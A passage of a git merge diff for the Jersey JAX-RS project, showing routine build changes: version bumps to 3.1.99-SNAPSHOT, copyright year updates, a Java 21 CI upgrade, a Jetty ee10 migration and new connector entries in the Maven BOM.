Merge remote-tracking branch 3.0 into 3.1
diff --git a/.github/workflows/maven.yml b/.github/workflows/maven.yml
index 7763e3e..b047d80 100644
--- a/.github/workflows/maven.yml
+++ b/.github/workflows/maven.yml
@@ -23,8 +23,8 @@
 
     strategy:
       matrix:
-        java_version: [ 11 ]
-        verify_profiles: [ '-Plicense_check' ]
+        java_version: [ 21 ]
+        verify_profiles: [ '-Plicense_check,staging' ]
     continue-on-error: false
 
     steps:
diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml
index 5748a52..ddf4e77 100644
--- a/.github/workflows/validate.yml
+++ b/.github/workflows/validate.yml
@@ -15,7 +15,7 @@
 on: [pull_request, push]
 
 env:
-  JAVA_VERSION: '8'
+  JAVA_VERSION: '21'
   JAVA_DISTRO: 'temurin'
 
 concurrency:
diff --git a/NOTICE.md b/NOTICE.md
index e9981e6..1935ed0 100644
--- a/NOTICE.md
+++ b/NOTICE.md
@@ -43,11 +43,11 @@
 

 Bean Validation API 3.0.2

 * License: Apache License, 2.0

-* Project: http://beanvalidation.org/1.1/

+* Project: https://projects.eclipse.org/projects/ee4j.bean-validation

 * Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors

 * by the @authors tag.

 

-Hibernate Validator CDI, 7.0.5.Final

+Hibernate Validator CDI, 8.0.1.Final

 * License: Apache License, 2.0

 * Project: https://beanvalidation.org/

 * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate

diff --git a/archetypes/jersey-example-java8-webapp/pom.xml b/archetypes/jersey-example-java8-webapp/pom.xml
index 6d0233b..3a9760c 100644
--- a/archetypes/jersey-example-java8-webapp/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-example-java8-webapp</artifactId>
diff --git a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
index af777dd..3d79423 100644
--- a/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-example-java8-webapp/src/main/resources/archetype-resources/pom.xml
@@ -125,7 +125,7 @@
     </profiles>
 
     <properties>
-        <java.version>1.8</java.version>
+        <java.version>11</java.version>
         <jersey.config.test.container.port>8080</jersey.config.test.container.port>
     </properties>
 </project>
diff --git a/archetypes/jersey-heroku-webapp/pom.xml b/archetypes/jersey-heroku-webapp/pom.xml
index a3b4e18..fa49fbd 100644
--- a/archetypes/jersey-heroku-webapp/pom.xml
+++ b/archetypes/jersey-heroku-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <packaging>maven-archetype</packaging>
 
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
index 3afa9e3..edfed3d 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/pom.xml
@@ -38,14 +38,14 @@
         </dependency> -->
 
         <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-servlet</artifactId>
+            <groupId>org.eclipse.jetty.ee10</groupId>
+            <artifactId>jetty-ee10-servlet</artifactId>
             <version>\${jetty.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-webapp</artifactId>
+            <groupId>org.eclipse.jetty.ee10</groupId>
+            <artifactId>jetty-ee10-webapp</artifactId>
             <version>\${jetty.version}</version>
             <scope>provided</scope>
         </dependency>
@@ -89,8 +89,8 @@
                 </executions>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <version>\${jetty.version}</version>
                 <configuration>
                     <contextPath>/</contextPath>
diff --git a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
index 06594bf..30d0665 100644
--- a/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
+++ b/archetypes/jersey-heroku-webapp/src/main/resources/archetype-resources/src/main/java/heroku/Main.java
@@ -1,7 +1,7 @@
 package ${package}.heroku;
 
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.webapp.WebAppContext;
+import org.eclipse.jetty.ee10.webapp.WebAppContext;
 
 /**
  * This class launches the web application in an embedded Jetty container. This is the entry point to your application. The Java
@@ -30,7 +30,7 @@
 
         final String webappDirLocation = "src/main/webapp/";
         root.setDescriptor(webappDirLocation + "/WEB-INF/web.xml");
-        root.setResourceBase(webappDirLocation);
+        root.setBaseResourceAsString(webappDirLocation);
 
         server.setHandler(root);
 
diff --git a/archetypes/jersey-quickstart-grizzly2/pom.xml b/archetypes/jersey-quickstart-grizzly2/pom.xml
index b0a9775..dd1ba0c 100644
--- a/archetypes/jersey-quickstart-grizzly2/pom.xml
+++ b/archetypes/jersey-quickstart-grizzly2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-quickstart-grizzly2</artifactId>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/jersey-quickstart-webapp/pom.xml b/archetypes/jersey-quickstart-webapp/pom.xml
index 32e2969..4af18fa 100644
--- a/archetypes/jersey-quickstart-webapp/pom.xml
+++ b/archetypes/jersey-quickstart-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.archetypes</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>maven-archetype</packaging>
diff --git a/archetypes/pom.xml b/archetypes/pom.xml
index e41beee..2510918 100644
--- a/archetypes/pom.xml
+++ b/archetypes/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.archetypes</groupId>
diff --git a/bom/pom.xml b/bom/pom.xml
index 1b7d7f5..1460faa 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,7 +30,7 @@
 
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>jersey-bom</artifactId>
-    <version>3.0.99-SNAPSHOT</version>
+    <version>3.1.99-SNAPSHOT</version>
     <packaging>pom</packaging>
     <name>jersey-bom</name>
 
@@ -80,11 +80,21 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
+                <artifactId>jersey-jnh-connector</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jetty-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
+                <artifactId>jersey-jetty11-connector</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jetty-http2-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -105,6 +115,11 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
+                <artifactId>jersey-container-jetty11-http</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.containers</groupId>
                 <artifactId>jersey-container-jetty-http2</artifactId>
                 <version>${project.version}</version>
             </dependency>
@@ -401,6 +416,11 @@
             </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+                <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+                <version>${project.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.glassfish.jersey.test-framework.providers</groupId>
                 <artifactId>jersey-test-framework-provider-netty</artifactId>
                 <version>${project.version}</version>
             </dependency>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index b7c9921..eefb965 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>apidocs</artifactId>
@@ -87,6 +87,11 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jnh-connector</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-jdk-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -97,11 +102,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-jetty-http2-connector</artifactId>
-            <version>${project.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-netty-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -139,6 +139,11 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-grizzly2-http</artifactId>
             <version>${project.version}</version>
         </dependency>
@@ -164,6 +169,22 @@
             <version>${project.version}</version>
         </dependency>
         <dependency>
+            <groupId>com.fasterxml.jackson.module</groupId>
+            <artifactId>jackson-module-jaxb-annotations</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.xml.bind</groupId>
+                    <artifactId>jakarta.xml.bind-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.activation</groupId>
+                    <artifactId>jakarta.activation-api</artifactId>
+                </exclusion>
+            </exclusions>
+            <optional>true</optional>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-json-jettison</artifactId>
             <version>${project.version}</version>
@@ -249,54 +270,6 @@
             <version>${project.version}</version>
         </dependency>
     </dependencies>
-    <profiles>
-        <profile>
-        <id>JettyExclude</id>
-        <activation>
-            <jdk>1.8</jdk>
-        </activation>
-        <properties>
-            <jetty.version>${jetty9.version}</jetty.version>
-        </properties>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-client</artifactId>
-                <version>${jetty.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty.version}</version>
-            </dependency>
-        </dependencies>
-        </profile>
-        <profile>
-            <id>jetty2x</id>
-            <activation>
-                <activeByDefault>false</activeByDefault>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-                    <artifactId>jersey-mp-rest-client</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <!-- media -->
-                <dependency>
-                    <groupId>org.glassfish.jersey.media</groupId>
-                    <artifactId>jersey-media-json-jackson1</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-                <!-- connectors -->
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-helidon-connector</artifactId>
-                    <version>${project.version}</version>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
     <build>
         <plugins>
             <plugin>
@@ -312,8 +285,13 @@
                             <includeDependencySources>true</includeDependencySources>
                             <sourceFileExcludes>
                                 <fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
+                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude>
+                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/connector/*.java</fileExclude>
                                 <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude>
+                                <fileExclude>org/glassfish/jersey/jetty/*.java</fileExclude>
+                                <fileExclude>org/glassfish/jersey/jetty/connector/*.java</fileExclude>
+                                <fileExclude>org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
                             </sourceFileExcludes>
                             <dependencySourceIncludes>
                                 <dependencySourceInclude>org.glassfish.jersey.*:*</dependencySourceInclude>
@@ -335,6 +313,70 @@
                     </execution>
                 </executions>
             </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-enforcer-plugin</artifactId>
+                <configuration>
+                    <skip>true</skip>
+                </configuration>
+            </plugin>
         </plugins>
     </build>
+    <profiles>
+        <profile>
+            <id>jetty11</id>
+            <activation>
+                <activeByDefault>true</activeByDefault>
+            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
+            <dependencyManagement>
+                <dependencies>
+                    <dependency>
+                        <groupId>org.glassfish.jersey.connectors</groupId>
+                        <artifactId>jersey-jetty11-connector</artifactId>
+                        <version>${project.version}</version>
+                    </dependency>
+                    <!--<dependency>
+                        <groupId>org.glassfish.jersey.connectors</groupId>
+                        <artifactId>jersey-jetty11-http2-connector</artifactId>
+                        <version>${project.version}</version>
+                    </dependency>
+                    <dependency>
+                        <groupId>org.glassfish.jersey.containers</groupId>
+                        <artifactId>jersey-container-jetty11-http</artifactId>
+                        <version>${project.version}</version>
+                    </dependency>
+                    <dependency>
+                        <groupId>org.glassfish.jersey.containers</groupId>
+                        <artifactId>jersey-container-jetty11-http2</artifactId>
+                        <version>${project.version}</version>
+                    </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+                </dependencies>
+            </dependencyManagement>
+            <dependencies>
+                <dependency>
+                    <groupId>org.glassfish.jersey.connectors</groupId>
+                    <artifactId>jersey-jetty11-connector</artifactId>
+                    <version>${project.version}</version>
+                </dependency>
+                <!--<dependency>
+                    <groupId>org.glassfish.jersey.connectors</groupId>
+                    <artifactId>jersey-jetty11-http2-connector</artifactId>
+                    <version>${project.version}</version>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.containers</groupId>
+                    <artifactId>jersey-container-jetty11-http</artifactId>
+                    <version>${project.version}</version>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.containers</groupId>
+                    <artifactId>jersey-container-jetty11-http2</artifactId>
+                    <version>${project.version}</version>
+                </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+            </dependencies>
+        </profile>
+    </profiles>
 </project>
diff --git a/bundles/examples/pom.xml b/bundles/examples/pom.xml
index 48d44ac..1010841 100644
--- a/bundles/examples/pom.xml
+++ b/bundles/examples/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-examples</artifactId>
@@ -198,6 +198,13 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.examples</groupId>
+            <artifactId>groovy</artifactId>
+            <version>${project.version}</version>
+            <classifier>project-src</classifier>
+            <type>zip</type>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>helloworld</artifactId>
             <version>${project.version}</version>
             <classifier>project-src</classifier>
@@ -728,23 +735,7 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>groovy_jdk_11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.examples</groupId>
-                    <artifactId>groovy</artifactId>
-                    <version>${project.version}</version>
-                    <classifier>project-src</classifier>
-                    <type>zip</type>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
-
+    <properties>
+        <enforcer.skip>true</enforcer.skip>
+    </properties>
 </project>
diff --git a/bundles/jaxrs-ri/pom.xml b/bundles/jaxrs-ri/pom.xml
index e6a7a7f..51fca8d 100644
--- a/bundles/jaxrs-ri/pom.xml
+++ b/bundles/jaxrs-ri/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.bundles</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-ri</artifactId>
@@ -182,7 +182,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -256,7 +255,7 @@
                             <includeGroupIds>jakarta.ws.rs,org.glassfish.jersey.core,org.glassfish.jersey.containers,org.glassfish.jersey.jaxb,org.glassfish.jersey.inject</includeGroupIds>
                             <includeClassifiers>sources</includeClassifiers>
                             <outputDirectory>${generated.src.dir}</outputDirectory>
-                            <excludes>**/NOTICE.md,**/NOTICE.markdown</excludes>
+                            <excludes>module-info.*,META-INF/MANIFEST.MF,**/NOTICE.md,**/NOTICE.markdown</excludes>
                         </configuration>
                     </execution>
                 </executions>
@@ -280,9 +279,9 @@
                             jersey.repackaged.org.objectweb.asm.*;version=${project.version}
                         </Export-Package>
                         <Import-Package><![CDATA[
-                            jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,6.0)",
-                            jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,6.0)",
-                            jakarta.servlet.*;version="[5.0,6.0)",
+                            jakarta.servlet.annotation.*;resolution:=optional;version="[5.0,7.0)",
+                            jakarta.servlet.descriptor.*;resolution:=optional;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[5.0,7.0)",
                             ${jakarta.annotation.osgi.version},
                             jakarta.persistence.*;resolution:=optional,
                             jakarta.validation.*;resolution:=optional;version="[3,4)",
diff --git a/bundles/pom.xml b/bundles/pom.xml
index 052dfb7..ebbb1d7 100644
--- a/bundles/pom.xml
+++ b/bundles/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.bundles</groupId>
diff --git a/connectors/apache-connector/pom.xml b/connectors/apache-connector/pom.xml
index 82efb18..68576f5 100644
--- a/connectors/apache-connector/pom.xml
+++ b/connectors/apache-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-apache-connector</artifactId>
diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
index dd3c4c4..8af222a 100644
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
+++ b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
@@ -744,7 +744,8 @@
             if (i.markSupported()) {
                 inputStream = i;
             } else {
-                inputStream = new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
+                inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i)
+                        : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
             }
         }
 
diff --git a/connectors/apache5-connector/pom.xml b/connectors/apache5-connector/pom.xml
index 88723e6..1c00ea6 100644
--- a/connectors/apache5-connector/pom.xml
+++ b/connectors/apache5-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-apache5-connector</artifactId>
diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java
index d797f11..99e5c7a 100644
--- a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java
+++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5Connector.java
@@ -755,7 +755,8 @@
             if (i.markSupported()) {
                 inputStream = i;
             } else {
-                inputStream = new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
+                inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i)
+                        : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
             }
         }
 
diff --git a/connectors/grizzly-connector/pom.xml b/connectors/grizzly-connector/pom.xml
index 2b25a35..e1fa590 100644
--- a/connectors/grizzly-connector/pom.xml
+++ b/connectors/grizzly-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-grizzly-connector</artifactId>
diff --git a/connectors/helidon-connector/pom.xml b/connectors/helidon-connector/pom.xml
index 8453f9b..d96442a 100644
--- a/connectors/helidon-connector/pom.xml
+++ b/connectors/helidon-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.connectors</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -81,6 +81,7 @@
                <artifactId>maven-javadoc-plugin</artifactId>
                <configuration>
                     <source>8</source>
+                   <detectJavaApiLink>false</detectJavaApiLink>
                </configuration>
             </plugin>
         </plugins>
diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml
index c3b8301..d279a0d 100644
--- a/connectors/jdk-connector/pom.xml
+++ b/connectors/jdk-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jdk-connector</artifactId>
@@ -34,6 +34,8 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
     </properties>
 
     <dependencies>
@@ -105,16 +107,6 @@
             </build>
         </profile>
         <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
-            </properties>
-        </profile>
-        <profile>
             <id>disable_tls1and11</id>
             <!-- TLS 1 and TLS 1.1 are disabled for JDK 16 -->
             <activation>
@@ -137,5 +129,4 @@
             </build>
         </profile>
     </profiles>
-
 </project>
diff --git a/connectors/jetty-connector/pom.xml b/connectors/jetty-connector/pom.xml
index 86876ec..bb9cf6c 100644
--- a/connectors/jetty-connector/pom.xml
+++ b/connectors/jetty-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
